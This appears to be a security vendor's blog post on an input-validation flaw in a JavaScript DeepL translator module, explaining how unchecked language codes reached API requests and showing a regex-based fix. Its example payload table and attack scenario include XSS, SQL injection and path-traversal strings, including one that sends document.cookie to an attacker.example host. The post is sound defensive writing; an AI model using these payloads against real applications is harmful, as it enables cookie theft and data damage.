Back to Blog
critical SEVERITY8 min read

How Unsanitized Language Parameters Happen in JavaScript and How to Fix Them

A missing input validation step in `src/module/translator/deepl.js` allowed raw, user-controlled language codes to flow directly into DeepL API requests without any sanitization. This created an exploit primitive where malicious language strings—containing XSS payloads or SQL fragments—could be forwarded to an external translation service. The fix introduces a strict ISO 639-1/BCP 47 regex guard that rejects any non-conforming input before it reaches the API call.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 2, 2026•Reviewed September 2, 2026

Answer Summary

This is an input validation vulnerability (CWE-20) in `src/module/translator/deepl.js`, a JavaScript module that wraps the DeepL translation API. The `option.from` and `option.to` language parameters were passed directly into API request objects without checking format or content, meaning a crafted language string like `en'; DROP TABLE users;--` could be forwarded to an external service. The fix adds a `sanitizeLangCode()` function that validates every language code against a strict ISO 639-1/BCP 47 regular expression (`/^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/`) and throws on any non-conforming input. All three call sites in `splitText()` and `translate()` were updated to pass through this guard before the value reaches the network layer.

Vulnerability at a Glance

cweCWE-20
fixAdded `sanitizeLangCode()` with ISO 639-1 regex validation at all three assignment sites
riskInjection payloads forwarded to external translation API; potential for chained XSS or downstream injection
languageJavaScript
root cause`option.from` and `option.to` assigned directly to API request objects with no format check
vulnerabilityImproper Input Validation — unsanitized language code parameter

How Unsanitized Language Parameters Happen in JavaScript and How to Fix Them

The File That Bridges User Input and an External API

The src/module/translator/deepl.js module does one job: take text and language preferences from the user, package them into DeepL API requests, and return translated output. It sits at an interesting security boundary—one side faces user-controlled data, the other side faces an external network service. A flaw in how language codes were handled inside splitText() and translate() meant that boundary was not being enforced, and raw, unvalidated strings were flowing straight through to the API payload.

This post walks through exactly what went wrong, why it matters even in a desktop application context, and what the fix looks like in concrete code.


The Vulnerability Explained

What the Code Was Doing

Before the fix, two functions in deepl.js accepted a user-supplied option object and copied its from and to properties directly into the outgoing API request body:

// splitText() — line 85 (before fix)
postData.params.lang.lang_user_selected = option.from;

// translate() — lines 124-125 (before fix)
postData.params.lang.source_lang_computed = option.from;
postData.params.lang.target_lang = option.to;

There is no typeof check, no length limit, no character allowlist, and no format validation. Whatever string arrives in option.from or option.to is placed verbatim into the JSON body that gets sent to DeepL's endpoint.

Why That's a Problem

Language codes are supposed to be short, alphabetic identifiers like en, de, or zh-Hans. The DeepL API expects values conforming to ISO 639-1 (two-letter codes) or BCP 47 subtags. Nothing in the original code enforced that contract.

An attacker who can control the option object—for example, by crafting a file that the desktop application opens, or by injecting content into a document being translated—could supply values like:

Payload Class
en<script>alert(1)</script> Reflected XSS if the value surfaces in a web view
en'; DROP TABLE users;-- SQL injection fragment forwarded to any logging layer
../../../../etc/passwd Path traversal if the value is ever used in a file operation
An extremely long string Potential buffer pressure or log pollution

Even if DeepL itself rejects these values at its own API layer, the application has already forwarded attacker-controlled data across a network boundary. Any intermediate processing—logging, caching, error serialization—could be affected. More importantly, this is an exploit primitive: a code pattern that, while not independently exploitable in isolation, can be chained with other weaknesses by automated attack tooling.

Attack Scenario

Consider a desktop translation application that opens .docx files. A malicious document embeds a custom language tag in its metadata. When the application reads that tag and passes it as option.from to translate(), the raw string—say, en<img src=x onerror=fetch('https://attacker.example/'+document.cookie)>—is placed inside the API request. If the application surfaces the API error response in a web view component without further escaping, the payload executes. The chain is: crafted file → option.from → postData.params.lang.source_lang_computed → API error → web view render → XSS.


The Fix

A Single Validation Function at the Gate

The patch introduces sanitizeLangCode(), a small but precise guard function added near the top of the file:

const regLangCode = /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/;

function sanitizeLangCode(code) {
  if (typeof code !== 'string' || !regLangCode.test(code)) {
    throw new Error(`Invalid language code: ${code}`);
  }
  return code.toUpperCase();
}

Let's unpack what each part does:

  • /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/ — anchors the match to the full string (^ and $), allows only ASCII letters, enforces a 2–3 character primary subtag (covering ISO 639-1 and ISO 639-2), and optionally allows a 2–4 character region subtag after a hyphen. This covers en, zh, pt-BR, zh-Hans, and similar valid codes while rejecting everything else.
  • typeof code !== 'string' — guards against null, undefined, or non-string types being passed in.
  • throw new Error(...) — fails fast and loudly. The error message includes the offending value so developers can diagnose misconfigured callers quickly.
  • code.toUpperCase() — normalizes the output to uppercase, which is the convention used by the DeepL API (e.g., EN, DE, ZH-HANS).

Before and After

Before — in splitText():

postData.params.lang.lang_user_selected = option.from;

After — in splitText():

postData.params.lang.lang_user_selected = sanitizeLangCode(option.from);

Before — in translate():

postData.params.lang.source_lang_computed = option.from;
postData.params.lang.target_lang = option.to;

After — in translate():

postData.params.lang.source_lang_computed = sanitizeLangCode(option.from);
postData.params.lang.target_lang = sanitizeLangCode(option.to);

All three assignment sites are now gated. No language code string reaches the API payload without passing through the regex check first.

Why All Three Sites Matter

It might be tempting to validate only in translate() and trust that splitText() is called internally. But defense-in-depth means validating at every boundary crossing, not just the outermost one. If splitText() is ever called directly—in a test, a future refactor, or an integration—the guard is already in place.


Key Takeaways

  • option.from and option.to in deepl.js were direct injection vectors: any string, including XSS and SQL payloads, could be forwarded to the DeepL API without modification.
  • The sanitizeLangCode() function is the right abstraction: centralizing validation in one function means all three call sites benefit from a single fix, and future call sites will naturally use the same guard.
  • ISO 639-1 codes are a closed, well-defined set: they are an ideal candidate for allowlist regex validation rather than ad-hoc sanitization.
  • Desktop applications are not immune to injection: the threat model here requires a crafted file or malicious content interaction, but that is a realistic attack vector for translation tools that process untrusted documents.
  • Exploit primitives matter: even if this specific pattern isn't independently exploitable today, removing it raises the bar against automated exploit-chaining tools that combine multiple weak points.

How Orbis AppSec Detected This

  • Source: The option.from and option.to fields of the user-supplied option object passed into translate() and splitText() in src/module/translator/deepl.js.
  • Sink: Direct assignment to postData.params.lang.source_lang_computed, postData.params.lang.target_lang, and postData.params.lang.lang_user_selected at lines 85, 124, and 125—values that are serialized into the body of an outgoing HTTP request to an external API.
  • Missing control: No type check, format validation, or allowlist comparison was applied to either language code parameter before assignment.
  • CWE: CWE-20 — Improper Input Validation.
  • Fix: A sanitizeLangCode() function was introduced that validates input against /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/ and throws on non-conforming values; all three assignment sites were updated to call this function.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in deepl.js is a textbook example of how a small omission—not validating a string before forwarding it to an external service—creates a meaningful security gap. Language codes are a constrained, well-understood domain: two or three letters, an optional region subtag, nothing else. Enforcing that constraint with a six-line function eliminates an entire class of injection risk at this boundary.

The broader lesson is that every value crossing a trust boundary deserves explicit validation, even when the downstream service might reject bad input on its own. Your application should never rely on a third-party API to be its first line of defense.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #31

Related Articles

high

CVE-2026-4800: lodash Template Imports Allow Code Execution

CVE-2026-4800 affects lodash's `_.template()` templating API, where untrusted input reaching the `imports` option can lead to arbitrary code execution. The fix was shipped as a dependency upgrade from lodash 4.17.21 to 4.18.1 in the project's lockfile, though the PR itself notes it was never verified against the actual code paths in this repository.

critical

proxy-addr 2.0.7 IP Spoofing: CVE-2026-90711 Trust Bypass

A critical vulnerability in proxy-addr 2.0.7 allowed attackers to spoof client IP addresses by manipulating X-Forwarded-For headers when the trust chain evaluation contained specific misconfigurations. The fix in version 2.0.8 hardens the trust evaluation logic to prevent IP address falsification in Express.js applications relying on this common middleware dependency.

high

TweenMax `_applyCycle` Prototype Pollution via vars.cycle Keys

A bundled copy of the TweenMax animation library copied attacker-influenceable `vars.cycle` property names straight onto a tween configuration object using an unguarded `for...in` loop, so a key named `__proto__`, `constructor`, or `prototype` was written through to the object's prototype chain. The fix adds an explicit key denylist to both copies of the `_applyCycle` helper so those three names are skipped during the merge. No CVE or GHSA is assigned; the issue is tracked as CWE-1321 (Improperl

high

picomatch 2.3.1 ReDoS: Extglob Pattern Catastrophic Backtracking

picomatch versions below 2.3.2, 3.0.2, or 4.0.4 contain a Regular Expression Denial of Service vulnerability in extglob pattern parsing. An attacker can cause catastrophic backtracking with patterns containing nested alternations and quantifiers, freezing any Node.js process that evaluates untrusted glob expressions.

critical

pet-window.js Dynamic Code Evaluation: CWE-94 Hardening via Number

The pet-window module constructed dynamic JavaScript by embedding raw configuration values into code strings. An attacker with local access could inject arbitrary JavaScript by modifying stored configuration. The fix replaces string interpolation with explicit Number() coercion and NaN validation for all numeric configuration parameters.

high

sanitizeUnicodeInput(): Fullwidth U+ Bypasses Codepoint Validation

The `sanitizeUnicodeInput()` helper used by the project character-range settings screen rewrote `U+` prefixes to `0x` and called `parseInt()`, but never normalized its argument first. Compatibility-equivalent forms such as fullwidth `U+`, superscript digits, or mathematical alphanumerics never matched the `/U\+/gi` regex, fell through to the `else return inputString` branch, and were handed back to callers verbatim as "sanitized" values. The fix inserts a `String.prototype.normalize('NFKC')` pas